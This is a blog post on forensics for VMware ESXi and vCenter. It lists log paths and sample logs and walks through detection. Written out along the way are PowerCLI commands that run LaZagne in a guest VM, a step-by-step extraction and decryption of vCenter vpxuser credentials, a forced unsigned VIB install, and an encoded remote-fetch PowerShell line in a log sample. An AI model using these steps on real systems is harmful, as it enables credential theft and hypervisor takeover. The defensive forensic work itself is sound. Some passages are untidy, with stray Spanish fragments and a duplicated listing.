Hey, how's it going everyone! On this occasion, I've decided to bring you a complete post related to a talk I had the opportunity to give at the Ekoparty conference (2024 edition). It's a compilation of important technical data to consider when conducting forensic investigations on VMware virtualization environments. This post will allow me to summarize the most relevant technical points of that talk and also delve deeper into certain aspects that I omitted in the presentation due to limited time.
I hope you enjoy this post and, without further ado, let's begin.
Index
Introduction
Forensics artifacts
ESXi system logs
VIX API
vCenter Logs
Additional Artifacts
VIBS
Forensic images on ESXi
Security recommendations
High priority recommendations
Medium priority recommendations
Introduction
Quickly, let's define some important concepts that you need to understand before performing analysis of these environments:
Hypervisor: Depending on the context, hypervisors can be software or hardware that allows a host to run multiple virtual machines (VM). They are systems that support huge workloads in modern networks and are often used to store servers with different services.
ESX/ESXI: Virtualization software for VMware hypervisors. This system allows the creation and management of our virtual machines.
vCenter: When organizations have very large loads of ESXi servers, vCenter (as part of the vSphere suite) is the software that allows orchestration of all these server instances, making administration and distribution of work much easier.
Datastores: Storage used to store virtual machine objects. These storages communicate over the network so that ESXi instances can view them. There are different types of datastores such as: NFS, iSCSI and vSAN, but we will not go into detail at this point.
ESXi & Active Directory
Organizations often integrate virtualization environments such as VMware with Active Directory. The goal of this integration is to centralize the management of user roles and permissions on these servers. By joining ESXi or vCenter servers to a domain, Active Directory automatically creates an 'ESX Admins' group to house users with privileges over the virtualization infrastructure.
Although this approach simplifies administration, if our hypervisors are not adequately protected, a threat actor who compromises our Active Directory can effortlessly pivot to ESXi servers and seize control of critical virtualized systems.
Note: For more details on how to protect the infrastructure, I recommend that you carefully read the last section "Security recommendations" in this blog.
Remember that certain threat actors, such as ransomware groups, focus their attacks on virtualization infrastructure for different purposes:
Malware distribution.
Destruction of critical virtual servers in the environment.
Removal of important evidence for the investigation.
Disabling data recovery.
Gaining high privileges and ease of lateral movement.
In addition, in most cases, organizations do not adequately protect these infrastructures, not to mention that there are no antivirus or Endpoint Detection and Response (EDR) solutions that can be installed on these systems, making it much more difficult to detect these compromises.
The following sections provide the necessary information (logs) that a defense team must have available to be able to detect attacks on this type of infrastructure.
Forensics artifacts
ESXi logs
ESXi virtualization servers have different logs of the events that occur in the system. While we can find information similar to what we would find in a common Unix system, there are other logs focused on troubleshooting virtual machines and the health of management services.
The following table shows a brief summary of logs that I consider important when conducting an investigation on ESXi servers.
System Components | Path | Details |
System messages | /var/log/syslog.log | Contains all general system messages |
Authentication | /var/log/auth.log | Local Authentication Events |
Command logs | /var/log/Shell.log | Commands executed from the ESXi console and console events |
ESXI agent logs | /var/log/hostd.log | Contains information about the hostd service and management and configurations of the ESXi host and its VMs |
vCenter agent logs | /var/log/vpxa.log | Contains information about the agent that communicates with vCenter |
VMkernel messages | /var/log/vmkernel.log | Logs activities related to guest VMs and ESXi |
VMKernel summary | /var/log/vmksummary.log | Used to determine uptime, availability, and other ESXi statistics |
VMKernel warnings | /var/log/vmkwarning.log | Records activities related to VM guests. |
In particular, the logs: syslog, auth, shell, and hostd provide extremely important information to understand the actions of the threat actor on the device and how they initially accessed the system. Let's look at some log examples to familiarize ourselves with them.
Auth.log
Useful information:
Connection timestamps.
Connection source.
Local user used.
Terminal used (pty).
Useful for detecting unauthorized access via SSH.
2024-10-14T19:16:46.947Z sshd[112317]: FIPS mode initialized
2024-10-14T19:16:46.947Z sshd[112317]: Connection from 192.168.101.1 port 33722
2024-10-14T19:16:52.706Z sshd[112317]: Accepted keyboard-interactive/pam for root from 192.168.101.1 port 33722 ssh2
2024-10-14T19:16:52.732Z sshd[112317]: pam_unix(sshd:session): session opened for user root by (uid=0)
2024-10-14T19:16:52.748Z sshd[112324]: Session opened for 'root' on /dev/char/pty/t0
2024-10-14T19:22:11.063Z sshd[112355]: FIPS mode initialized
2024-10-14T19:22:11.064Z sshd[112355]: Connection from 192.168.101.1 port 58796
2024-10-14T19:22:18.625Z sshd[112355]: Connection closed by authenticating user root 192.168.101.1 port 58796 [preauth]
2024-10-14T19:22:53.643Z sshd[112361]: FIPS mode initialized
2024-10-14T19:22:53.643Z sshd[112361]: Connection from 192.168.101.1 port 38066
2024-10-14T19:23:01.837Z sshd[112361]: Accepted keyboard-interactive/pam for root from 192.168.101.1 port 38066 ssh2
2024-10-14T19:23:01.847Z sshd[112361]: pam_unix(sshd:session): session opened for user root by (uid=0)
2024-10-14T19:23:01.854Z sshd[112361]: User 'root' running command 'scp -t /'
2024-10-14T19:23:01.873Z sshd[112361]: Received disconnect from 192.168.101.1 port 38066:11: disconnected by user
2024-10-14T19:23:01.873Z sshd[112361]: Disconnected from user root 192.168.101.1 port 38066
2024-10-14T19:23:01.889Z sshd[112361]: pam_unix(sshd:session): session closed for user root
Shell.log
Useful information:
Connection timestamps.
Command executed
User who executed said commands.
Useful for determining threat actor actions on ESXi system.
2024-10-14T19:10:57.566Z ESXShell[66201]: ESXi shell login enabled
2024-10-14T19:10:57.566Z SSH[66199]: SSH login enabled
2024-10-14T19:11:13.880Z ESXShell[68707]: ESXi Shell available
2024-10-14T19:16:52.754Z shell[112324]: Interactive shell session started
2024-10-14T19:19:44.747Z shell[112324]: [root]: ls
2024-10-14T19:21:17.625Z shell[112324]: [root]: cd
2024-10-14T19:21:46.784Z shell[112324]: [root]: ls
2024-10-14T19:21:47.593Z shell[112324]: [root]: pwd
2024-10-14T19:24:33.533Z shell[112324]: [root]: ls
2024-10-14T19:24:47.144Z shell[112324]: [root]: mv EvilTools.zip /tmp
2024-10-14T19:24:48.698Z shell[112324]: [root]: cd tmp/
2024-10-14T19:24:49.169Z shell[112324]: [root]: ls
2024-10-14T19:24:57.946Z shell[112324]: [root]: unzip EvilTools.zip
2024-10-14T19:25:00.129Z shell[112324]: [root]: ls
syslog.log
Información útil:
Connection timestamps..
nteraction with system objects through SCP.
Connection source via SCP.
Useful for identifying malicious artifacts copied onto the system using SCP.
2024-10-14T10:47:05.8332 In (114) sftp-server [1055843]: session opened for local user root from [192.168.1.18]
2024-10-14T10:47:05.994Z In (114) sftp-server [1055043]: opendir "/"
2024-10-14T10:47:07.509Z In (114) sftp-server [1055043]: closedir "/"
2024-10-14T10:47:12.216Z In (114) sftp-server [1055043]: opendir "/tmp"
2024-10-14T10:47:13.636Z In (114) sftp-server [1055043]: closedir "/tmp"
2024-10-14T10:47:19.915Z In (114) sftp-server [1055043]: create "/tmp/Eviltools.zip"" flags WRITE, CREATE, TRUNCATE mode 0666
2024-10-14T10:47:20.043Z In (114) sftp-server [1055043]: close "/tmp/Eviltools.zip"" bytes read written 717200
2024-10-14T10:47:20.048Z In (114) sftp-server [1055043]: rename old "/tmp/vmware-utils.zip" new "/tmp/Ransomware"
2024-10-14T10:47:20.051Z In (114) sftp-server [1055043]: set "/tmp/vmware-utils.zip" modtime 20230330-12:37:16
2024-10-14T10:47:20.054Z In (114) sftp-server [1055043]: opendir "/tmp"
2024-10-14T10:47:21.2612 In (114) sftp-server [1055843]: closedir "/tmp"
hostd.log
Useful information:
Connection timestamps.
Logins via SSH, Web GUI and VIX API.
User-Agents associated with web connections.
Allows determining actions to enable SSH service.
Useful for identifying brute force attacks on web services.
Useful for identifying accesses using VIX API
2024-10-14T03:11:21.042Z info hostd[133712] [Originator@6876 sub=Vimsvc.ha-eventmgr] Event 100 : SSH access has been enabled.
2024-10-14T04:11:49.165Z info hostd[133166] [Originator@6876 sub=Default opID=esxui-a6ad-540a] Accepted password for user root from 192.168.101.1
2024-10-14T04:11:49.165Z info hostd[133166] [Originator@6876 sub=Vimsvc opID=esxui-a6ad-540a] [Auth]: User root
2024-10-14T04:11:49.165Z warning hostd[133166] [Originator@6876 sub=Vimsvc opID=esxui-a6ad-540a] Refresh function is not configured.User data can't be added to scheduler.User name: root
2024-10-14T04:11:49.165Z info hostd[133166] [Originator@6876 sub=Vimsvc.ha-eventmgr opID=esxui-a6ad-540a] Event 103 : User root@192.168.101.1 logged in as Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537
2024-10-14T04:11:49.217Z info hostd[132878] [Originator@6876 sub=Solo.Vmomi opID=esxui-1c2-5410] Activation finished; <<52d9bc58-9b3b-b989-8779-90f3582e1afb, <TCP '127.0.0.1 : 8307'>, <TCP '127.0.0.1 : 26858'>>, ha-property-collector, vmodl.query.Proper
2024-10-14T04:11:49.217Z verbose hostd[132878] [Originator@6876 sub=Solo.Vmomi opID=esxui-1c2-5410] Arg version:
2024-10-14T04:24:50.468Z warning hostd[133166] [Originator@6876 sub=Vimsvc opID=80b255ab] Refresh function is not configured.User data can't be added to scheduler.User name: root
2024-10-14T04:24:50.468Z info hostd[133166] [Originator@6876 sub=Vimsvc.ha-eventmgr opID=80b255ab] Event 107 : User root@192.168.101.1 logged in as PowerCLI/13.2.1.22851661
2024-10-14T04:28:03.816Z verbose hostd[133166] [Originator@6876 sub=Vmsvc.vm:/vmfs/volumes/66ea12b4-b159a1c7-f1c1-000c29f80503/Win10-Eko/Win10-Eko.vmx opID=esxui-414d-5459] New MKS connection count: 0
024-10-17T04:35:33.272Z info hostd[133713] [Originator@6876 sub=Solo.Vmomi opID=esxui-414d-5459] Activation finished; <<521d452d-5fff-f51d-3384-86d67dfb3658, <TCP '127.0.0.1 : 8307'>, <TCP '127.0.0.1 : 45746'>>, ha-guest-operations-file-manager, vim.vm
2024-10-14T04:35:33.272Z verbose hostd[133713] [Originator@6876 sub=Solo.Vmomi opID=esxui-414d-5459] Arg vm:
--> 'vim.VirtualMachine:1'
2024-10-14T04:35:33.272Z verbose hostd[133713] [Originator@6876 sub=Solo.Vmomi opID=esxui-414d-5459] Arg auth:
--> (vim.vm.guest.NamePasswordAuthentication) {
--> interactiveSession = false,
--> username = "Administrador",
--> password = (not shown)
VIX API
The VIX API is the native development interface for ESXi systems. The VIX API allows task automation for communication with Guest operating systems, using languages such as Python or the PowerCLI module in PowerShell. While this development interface is very useful for managing VMs on ESXi servers, threat actors use it to remotely execute malicious commands and code on VMs.
By using the VIX API, a threat actor can transfer files, list processes, download files, and invoke command execution through native system commands. This is possible because the API communication is done through ESXi (specifically via the hostd daemon), which "routes" the connection to the virtual machine using VMCI (VMware Virtual Machine Communication Interface), enabling the communication channel. Then, the VMware-tools process receives this communication and, through the integrated VGAuth module, authenticates with the operating system. Only from here can command execution and other tasks be performed on the operating system."
As you can understand, any use of the VIX API to perform tasks on the Guest VMs uses VMware-tools as an intermediary, so it is very important to monitor this process at a security level.
A common command execution using PowerCLI and the VIX API can be seen as follows:
# ESXi host connection.
PS> Connect-VIServer –Server 192.169.101.101 –user root –Password Summer2024.
# File transfer from host to VM.
PS> Get-Item “C:\evil\Lazagne.exe” | Copy-VMguestFile –Destination “C:\temp\” -VM Production-VM –LocalToGuest –GuestUser Administrador –GuestPassword MySecurePassword.
# Script execution.
PS> Invoke-VMScript –VM Production-VM –ScriptText ‘C:\temp\Lazagne.exe all > C:\temp\output.txt’ –GuestUser Administrador –GuestPassword MySecurePassword.
# File transfer from VM to host.
PS> Copy-VMGuest –Source c:\temp\output.txt –Destination c:\evil\ -VM Production-VM –GestToLocal –GuestUser Administrador –GuestPassword MySecurePassword
While this may seem shocking, it should be noted that it is not possible to perform these actions if you do not have the ESXi server credentials and the VM Guest administration credentials (unless you exploit a vulnerability such as CVE-2020-20867).
But don't panic! There are at least 3 different ways to detect this type of behavior, which are summarized below:
Using the Windows logs of the affected VM:
Mainly, we should focus on the 4624 events in the security.evtx log and look at those type 4 (Batch) session starts that come from the VMware-tools process, in addition to powershell or sysmon events where the parent process is vmware-tools.
We cannot consider the 4624 events that come from the Vmware-Tools process as malicious by themselves, because this process already generates these events from time to time.
Evento 4624: Logon type 4
Se inició sesión correctamente en una cuenta.
Información de inicio de sesión:
Tipo de inicio de sesión: 4
Modo de administrador restringido: -
Credential Guard remota: -
Cuenta virtual: No
Token elevado: Sí
Nivel de suplantación: Suplantación
Nuevo inicio de sesión:
Id. de seguridad: Production-VM\Administrador
Nombre de cuenta: Administrador
Dominio de cuenta: Production-VM
Id. de inicio de sesión: 0x3E7
Inicio de sesión vinculado: 0x0
Nombre de cuenta de red: -
Dominio de cuenta de red: -
GUID de inicio de sesión: {00000000-0000-0000-0000-000000000000}
Información de proceso:
Id. de proceso: 0x494
Nombre de proceso: C:\Archivos de Programa\VMware\Vmware Tools\vmtoolsd.exe
Event 1 Sysmon.evtx
The Following information was included with the event
2024-10-01 22:48:33.521
EV_RenderedValue_2.00
1880
OriginalFileName Cmdline
CommandLine “cmd.exe” /C powershell –Nominteractive –EncodedCommand cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANAA4AC4AMQAyADkALwB0AGUAcwB0AC4AagBwAGcAIABzAGMAcgBvAGIAagAuAGQAbABsAAoAcgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB
------------------------------SNIP-----------------------------
4AagBwAGcAIABzAGMAcgBvAGIAagAuAGQAbABsAAoAcgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANAA4AC4AMQAyADkALwB0AGUAcwB0AC4AagBwAGcAIABzAGMAcgBvAGIAagAuAGQAbABsAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CurrentDirectory: C:\Windows\system32
LogonGUID:
LogonID: 0x3E7
ParentProcessGuid: {23f46c21-652d-65bc-fb00-000000000800}
ParentProcessid: 3564
ParentImage: C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
ParentCommandLine: “C:\Program Files\VMware\Vmware Tools\vmtoolsd.exe”
ParentUser: NT Authority\SYSTEM
Using VMware.log located at /vmfs/Volumes/<volume id>/<VM name> -> (ESXi Host)
This log records 'Guest Operations' (Actions performed on the virtual machine through the API) such as process execution, process listing, file transfer, etc., making it a perfect log for identifying malicious actions on our systems.
Although VMware has documentation on these objects and methods used to understand the operation in depth, the names themselves provide a wealth of information about what is happening on the VM Guest. Some of these common Guest Operations are:
GuestFileManager.CreateTemporaryFileInGuest
GuestFileManager.InitiateFileTransferFromGuest
GuestFileManager.InitiateFileTransferToGuest
GuestProcessManager.StartProgramInGuest
GuestFileManager.CreateTemporaryDirectoryinGuest
The good thing about this is that it is enabled by default in ESXi instances when creating virtual machines, but threat actors can disable it if they are clever enoughro los actores de amenaza pueden deshabilitarlo si son suficientemente astutos.
VMware.log
[root@ESXIA:/vmfs/volumes/Datastore40-A/Win10-Eko] tail -f vmware.log
------------------------------------------------------------------
In(05) vmx - VigorTransportProcessClientPayload: opID=80b2560e seq=1928: Receiving GuestOps.ListProcesses request.
2024-10-17T04:29:56.735Z 2024-10-17T04:29:51.060Z In(05) vmx - VigorTransportProcessClientPayload: opID=80b255fe seq=1910: Receiving GuestOps.CreateTemporaryFile request.
2024-10-17T04:29:51.458Z In(05) vcpu-0 - VigorTransport_ServerSendResponse opID=80b255fe seq=1910: Completed GuestOps request with messages.
2024-10-17T04:29:51.470Z In(05) vmx - VigorTransportProcessClientPayload: opID=80b25602 seq=1916: Receiving GuestOps.StartProgram request.
2024-10-17T04:29:51.540Z In(05) vcpu-0 - VigorTransport_ServerSendResponse opID=80b25602 seq=1916: Completed GuestOps request with messages.
2024-10-17T04:29:51.568Z In(05) vmx - VigorTransportProcessClientPayload: opID=80b25607 seq=1922: Receiving GuestOps.ListProcesses request.
2024-10-17T04:29:51.601Z In(05) vcpu-0 - VigorTransport_ServerSendResponse opID=80b25607 seq=1922: Completed GuestOps request with messages.
2024-10-17T04:29:56.617Z In(05) vcpu-1 - VigorTransport_ServerSendResponse opID=80b2560e seq=1928: Completed GuestOps request with messages.
2024-10-17T04:29:56.746Z In(05) vmx - VigorTransportProcessClientPayload: opID=80b25613 seq=1934: Receiving GuestOps.InitiateFileTransferFromGuest request.
2024-10-17T04:29:56.814Z In(05) vcpu-1 - VigorTransport_ServerSendResponse opID=80b25613 seq=1934: Completed GuestOps request with messages.
2024-10-17T04:29:56.913Z In(05) vmx - VigorTransportProcessClientPayload: opID=esxui-414d-5459 seq=1942: Receiving GuestOps.SendPacket request.
2024-10-17T04:29:56.923Z In(05) vcpu-1 - VigorTransport_ServerSendResponse opID=esxui-414d-5459 seq=1942: Completed GuestOps request with messages.
2024-10-17T04:29:56.924Z In(05) vmx - VigorTransportProcessClientPayload: opID=esxui-414d-5459 seq=1943: Receiving GuestOps.SendPacket request.
Using Vmware Tools Log in VM Guest
This is a custom VMware tools log that is not enabled by default. Enabling it is very easy, but it is very noisy, so we must try to send it to a SIEM platform to avoid overloading disk space.
To enable this log, we simply need to modify the configuration of the Tools.conf file located in the path C:\ProgramData\VMware\VMware Tools and leave it as follows:
[Logging]
Log = true
vmsvc.level = debug
vmsvc.handler = file
vmsvc.data = C:\logs\vmsvc.logNote that we have set the vmsvc.level parameter to "Debug", which means that it will display all the details of the events.
After that, we can see the log generation as follows:
[2024-10-17T07:29:51.986Z] [ message] [vix] [3100] VixTools_ProcessVixCommand: command 185
[2024-10-17T07:29:51.658Z] [ message] [VCGA] [3100] VGAuth 'build-19343857' initialized for application 'vmtoolsd'. Context created at 00000290DE0EB730
[2024-10-17T07:29:51.658Z] [ debug] [VCGA] [3100] [function VGAuthValidateUsernamePasswordImpl, file d:/build/ob/bora-19343857/bora-vmsoft/vgauth/lib/authWin32.c, line 202], Trying Batch LogonUser(Administrador)
[2024-10-17T07:29:51.674Z] [ debug] [VCGA] [3100] [function VGAuthValidateUsernamePasswordImpl, file d:/build/ob/bora-19343857/bora-vmsoft/vgauth/lib/authWin32.c, line 237], Batch LogonUser(Administrador) succeeded
[ [2024-10-17T07:29:51.861Z] [ debug] [vix] [3100] VixToolsImpersonateUser: successfully impersonated user Administrador
[2024-10-17T07:29:51.861Z] [ debug] [vix] [3100] VixToolsCreateTempFileInt: User: Administrador
[2024-10-17T07:29:51.939Z] [ debug] [VCGA] [3100] [function VGAuthUnloadUserProfile, file d:/build/ob/bora-19343857/bora-vmsoft/vgauth/lib/impersonateWin32.c, line 228], Unloaded profile for user 'Administrador'
[2024-10-17T07:29:51.986Z] [ debug] [VCGA] [3100] [function VGAuthValidateUsernamePasswordImpl, file d:/build/ob/bora-19343857/bora-vmsoft/vgauth/lib/authWin32.c, line 202], Trying Batch LogonUser(Administrador)
[2024-10-17T07:29:51.986Z] [ debug] [VCGA] [3100] [function VGAuthValidateUsernamePasswordImpl, file d:/build/ob/bora-19343857/bora-vmsoft/vgauth/lib/authWin32.c, line 237], Batch LogonUser(Administrador) succeeded
[2024-10-17T07:29:51.986Z] [ debug] [VCGA] [3100] VGAuth_CreateHandleForUsername: Created handle 00000290DE0EB3D0
[2024-10-17T07:29:52.017Z] [ debug] [VCGA] [3100] [function VGAuthLoadUserProfile, file d:/build/ob/bora-19343857/bora-vmsoft/vgauth/lib/impersonateWin32.c, line 195], Loaded profile for user 'Administrador'
[2024-10-17T07:29:52.017Z] [ debug] [vix] [3100] VixToolsImpersonateUser: successfully impersonated user Administrador
[2024-10-17T07:29:52.017Z] [ debug] [vix] [3100] VixTools_StartProgram: User: Administrador args: progamPath: 'cmd.exe', arguments: '/C powershell -NonInteractive -EncodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBPAHUAdABwAHUAdABGAG8AcgBtAGEA
dAAgAHQAZQB4AHQAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACcAJgAgAHsARwBlAHQALQBQAHIAbwBjAGUAcwBzAH0AJwAgAD4AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEARABNAEkA
--------------------------------SKIP--------------------------------------
GMAbABpAHYAbQB3AGEAcgBlADQAMwAiADsAIABlAHgAaQB0ACAAJABsAGEAcwB0AGUAeABpAHQAYwBvAGQAZQA=', workingDir: ‘’
[2024-10-17T07:29:52.033Z] [ debug] [vmsvc] [3100] Spawned sub-process 1328
[2024-10-17T07:29:52.033Z] [ debug] [vix] [3100] VixToolsRegisterProcHandleInvalidator: Process Handle Invalidator registered
[2024-10-17T07:29:52.033Z] [ debug] [vix] [3100] VixTools_StartProgram: returning '2440'
[2024-10-17T07:29:52.033Z] [ message] [vix] [3100] VixTools_StartProgram: opcode 185 returning 0
Note that, similar to the previous method, our log generates "OpCodes", which are the actions performed directly from the VIX API.
Attached is a summary table with the most common OpCodes for our investigations.
OpCode | Vix Command | Guest Operation Equivalent |
177 | VIX_COMMAND_LIST_FILES | ListFilesInGuest |
185 | VIX_COMMAND_START_PROGRAM | StartProgramInGuest |
186 | VIX_COMMAND_LIST_PROCESSES_EX | ListProcessesInGuest |
188 | VIX_COMMAND_INITIATE_FILE_TRANSFER_FROM_GUEST | InitiateFileTransferFromGuest |
189 | VIX_COMMAND_INITIATE_FILE_TRANSFER_TO_GUEST | InitiateFileTransferToGuest |
VMware vCenter
vCenter is the ESXi instance orchestrator in our environment. Like an ESXi, it has different information logs that can help us with forensic investigations and incident response. This software can be built from an image on a server from scratch or it can be installed directly on a Windows server for use.
Although vCenter is much more similar to traditional Unix system logs, there are other particular logs that can be useful in our investigations.
System component | Path | Details |
Authentication | /var/log/lastlog | Last time an account logged into the system. |
Authentication | /var/log/btmp | Failed logon attempts |
Authentication | /var/log/wtmp | Login history information. |
Service | /storage/log/vmware/vpxd.log | Main vCenter server log. Consists of all vSphere connections and associated web services. |
Web Authentication | /var/log/vmware/sso/websso.log | vSphere Web Portal Authentication Log. |
SSH Authentication | /var/log/vmware/message | Additional log for SSH connections |
BD application | /var/log/vmware/vpostgres/Postgresql-XY.log | Database log file. |
vCenter software | vCenter portal -> Monitor -> Events | vCenter event monitoring logs |
One of the most interesting features of vCenter is that, in order to manage all the ESXi server instances, it creates a user named vpxuser in each of the instances and stores the credentials of this user in a PostgreSQL database. Thus, as an entity that orchestrates the instances, IT administrators only need to use vCenter to manage the resources from 1 server to monitor the virtual machines in the environment.
Given this information, one of the main goals of threat actors is to try to get the vpxuser accounts stored in the vCenter database, which is possible if you have administrative permissions on this server. Compromising this account means taking control of the associated ESXi instances and therefore an easy way to distribute malware.
Let's see step by step how a threat actor can compromise these credentials:
Step 1: Being inside the vCenter server, we list the PostergreSQL database information from the /etc/vmware-vpx file.
root@vcenter113 [/]# cat /etc/vmware-vpx
driver = org.postgresql.Driver
dbtype = PostgreSQL
url = jdbc:postgresql://localhost:5432/VCDB?sslmode=disable
username = vc
password = [REDACTED]
password.encrypted = falseAs you can see, this file contains the information needed to enter the database (username, password in plain text and database name), so with this data we can now steal the vpxuser credentials.
Step 2: Even though we can extract the vpxuser credential information from the PostgreSQL database, this credential is encrypted, but this is not a problem, since the key to decrypt the credential can be found in the path /etc/vmware-vpx/ssl/symkey.dat.
root@vcenter113 [/]# cat /etc/vmware-vpx/ssl/symkey.dat
[REDACTED]a38bf4fb2c2d283a8db328bf4fb2328b38bf[REDACTED]Step 3: Go to the vCenter PostgreSQL database and get the credential using the following commands:
root@vcenter113 [/]# /opt/vmware/vpostgres/current/bin/psql -h 127.0.0.1 -p 5432 -U Postgres -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
root@vcenter113 [/]# cat password.enc [REDACTED]ep9nH6f9cUa0XGbe+8ATUTse2n9YLhZIddafFiCtuWmTxA1PtHAVXJpaH[REDACTED]
Step 4: Using a public script written in python (or even made by us), we can decrypt the content of the credential and get the password(s) of the vpxuser user(s).
h4tt0r1@Katana> python3 decrypt.py symkey.dat password.enc password.txt
h4tt0r1@Katana> cat password.txt
B¿zK*$qjg_!sC{eN#[REDACTED]
Used script: https://github.com/jas502n/VcenterExsi_PwdDecrypt
Fortunately, not everything is lost. There is a log that allows us to detect this type of access to the database, and it is located at /var/log/vmware/vpostgres/postgresql.log. While this log records database authentications, by default it does not log the 'query statements' executed on the database. Therefore, the ideal approach is to enable this behavior by modifying the configuration file at /storage/db/vpostgres/postgresql.conf.
Postgresql.conf
root@vcenter113 [ /storage/db/vpostgres ]# cat postgresql.conf |grep -i "log_statement"
#sample fraction is determined by log_statement_sample_rate
#log_statement_sample_rate = 1.0 # fraction of logged statements exceeding
log_statement = 'all' # none, ddl, mod, all
#log_statement_stats = off
postgresql.log
2024-10-19 23:45:29.603 UTC 67140b2a.87b 0 LOG: checkpoint starting: time
2024-10-19 23:45:50.895 UTC 67143feb.94aa 0 VCDB vc FATAL: password authentication failed for user "vc"
2024-10-19 23:45:50.895 UTC 67143feb.94aa 0 VCDB vc DETAIL: Password does not match for user "vc".
Connection matched pg_hba.conf line 9: "host all all 127.0.0.1/32 md5"
2024-10-19 23:45:58.726 UTC 671444b6.3c27 0 VCDB postgres LOG: statement: ;
2024-10-19 23:46:21.319 UTC 67144257.85a 0 LOG: Updated instance status successfully.
2024-10-19 23:46:24.770 UTC 671444ce.3c9c 0 VCDB vc LOG: statement: select ip_address,user_name,password from vpx_host;
2024-10-19 23:46:38.251 UTC 671444ce.3c9c 0 VCDB vc LOG: statement: show databases;
2024-10-19 23:46:38.251 UTC 671444ce.3c9c 0 VCDB vc ERROR: unrecognized configuration parameter "databases"
2024-10-19 23:46:38.251 UTC 671444ce.3c9c 0 VCDB vc STATEMENT: show databases;
2024-10-19 23:46:51.349 UTC 67144257.85a 0 LOG: Updating instance status...
With this, we can now monitor intrusions into the vCenter database.
Additional forensics artifacts
List all files created and accessed on the ESXi servers. Focus on those recently modified/accessed files according to timestamps:
[root@ESXIA:~] find / | xargs stat -v '%n,%F,%s,%A,%u,%U,%g,%G,%h,%m,%i,%W,%X,%Y,%Z'
/tmp/EvilTools.zip,regular file,-rwxr-xr-x,8,root,0,root,1,m, 40515,W,1685789723,1680179836,1685789720
1685789723 Sat, 03 Jun 2023 18:55:23 UTC Accessed Time Stamp
1680179836 Thu, 30 Mar 2023 12:37:16 UTC Modified Time Stamp
1685789720 Sat, 03 Jun 2023 18:55:20 GMT MetaData Changed Time StampScratch Partition Logs. ESXi erases most of the information that lives in RAM after performing a Reboot (this includes all files that live in RAM that are part of the operating system). Even so, the /scratch/log path preserves a large part of the logs that we can analyze, (up to a maximum of 4GB of space).
Command history. While we know that shell.log saves most of the commands, if it is deleted, we still have the history of root/.ash_history. This will remain intact until a system reboot is performed.
Other artifacts, such as Cronjobs (/var/spool/cron/crontabs/root) and System Services and Processes.
VIBs
VIBs (vSphere Installation Bundle Package) are collections of data typically used to patch or update ESXi systems. These data packages consist of three sections:
Payload, a file that contains the code that is loaded (.vgz).
XML Descriptor, which contains metadata describing the VIB.
Signature, which allows verifying the integrity level of a VIB package.
These packages can be listed on each ESXi server within the organization using the esxcli tool, which is native to these servers.
[root@ESXIA:~] esxcli software vib list
Name Version Vendor Acceptance Level Install Date
--------------- ------------------------------------- ------ ---------------- ------------
atlantic 1.0.3.0-8vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
bnxtnet 216.0.50.0-44vmw.703.0.50.20036589 VMW VMwareCertified 2024-09-17
bnxtroce 216.0.58.0-23vmw.703.0.50.20036589 VMW VMwareCertified 2024-09-17
brcmfcoe 12.0.1500.2-3vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
elxiscsi 12.0.1200.0-9vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
elxnet 12.0.1250.0-5vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
i40en 1.11.1.31-1vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
Depending on who the entity is that builds this VIB package, the 'Acceptance Level' parameter from the previous code will give us a clue about who is responsible for creating this code.
The Acceptance Level is a digital signing system used by VMware to specify what tests have been performed by VMware or VMware partners before the VIB is released. Essentially, it is a parameter assigned to VIB packages that allows us to identify the origin of the code we are installing.
This parameter has four specific values:
Acceptance Level | Description | Acceptance Level |
VMwareCertified | VIBs built and tested by VMware. | VMwareCertified |
VMwareAccepted | VIBs created by a VMware partner that are approved by VMware. | VMwareAccepted |
PartnerSupported | VIBs built and tested by trusted VMware partners. | PartnerSupported |
CommunitySupported | VIBs created by the community or by partners outside of the VMware Partner Program. | CommunitySupported |
As can be seen from the table above, the 'CommunitySupported' Acceptance Level is assigned to VIB packages created directly by the community or that are neither VMware nor their partners.
Threat actors with administrative access often abuse this functionality to install malicious code on hypervisors, as it is possible to create payload files that are then packaged as VIBs. In this sense, a malicious VIB package created by a threat actor will necessarily have an Acceptance Level of 'CommunitySupported.'
By default, ESXi servers only accept the installation of VIB packages with an Acceptance Level greater than or equal to 'PartnerSupported,' so when attempting to install a 'CommunitySupported' VIB package, ESXi will throw an error.
[root@ESXIA:~] esxcli software vib install –v /vibs/NotMaliciousCommunity.vib
[AceptanceConfigError]
VIB Community’s acceptance level is community, which is not compliant with the ImageProfile acceptance level partner. To change the host acceptance level, use the ‘esxcli software acceptance set’ command. please refer to the log file for more details.
If our ESXi is not properly hardened, a threat actor can easily add the --force flag to the command shown above and bypass this security check, thus installing the malicious VIB:
[root@ESXIA:~] esxcli software vib install –v /vibs/NotMaliciousCommunity.vib --force
Installation Result
Message: The update completed successfully.
Reboot Required: false
VIBs Installed: NotMaliciousCommunity
VIBs Removed:
VIBs Skipped: Something interesting related to VIBs is that while not all installations on ESXi servers persist on the host after a reboot (because the operating system operates in memory), VIBs do remain persistent.
Mandiant (now part of Google Cloud) identified a few years ago a compromise of 2 different backdoors named Virtualpita and Virtualpie. Here is a link to a very interesting article on the subject:
[root@ESXIA:~] esxcli software vib list
Name Version Vendor Acceptance Level Install Date
--------------- ------------------------------------- ------ ---------------- ------------
atlantic 1.0.3.0-8vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
bnxtnet 216.0.50.0-44vmw.703.0.50.20036589 VMW VMwareCertified 2024-09-17
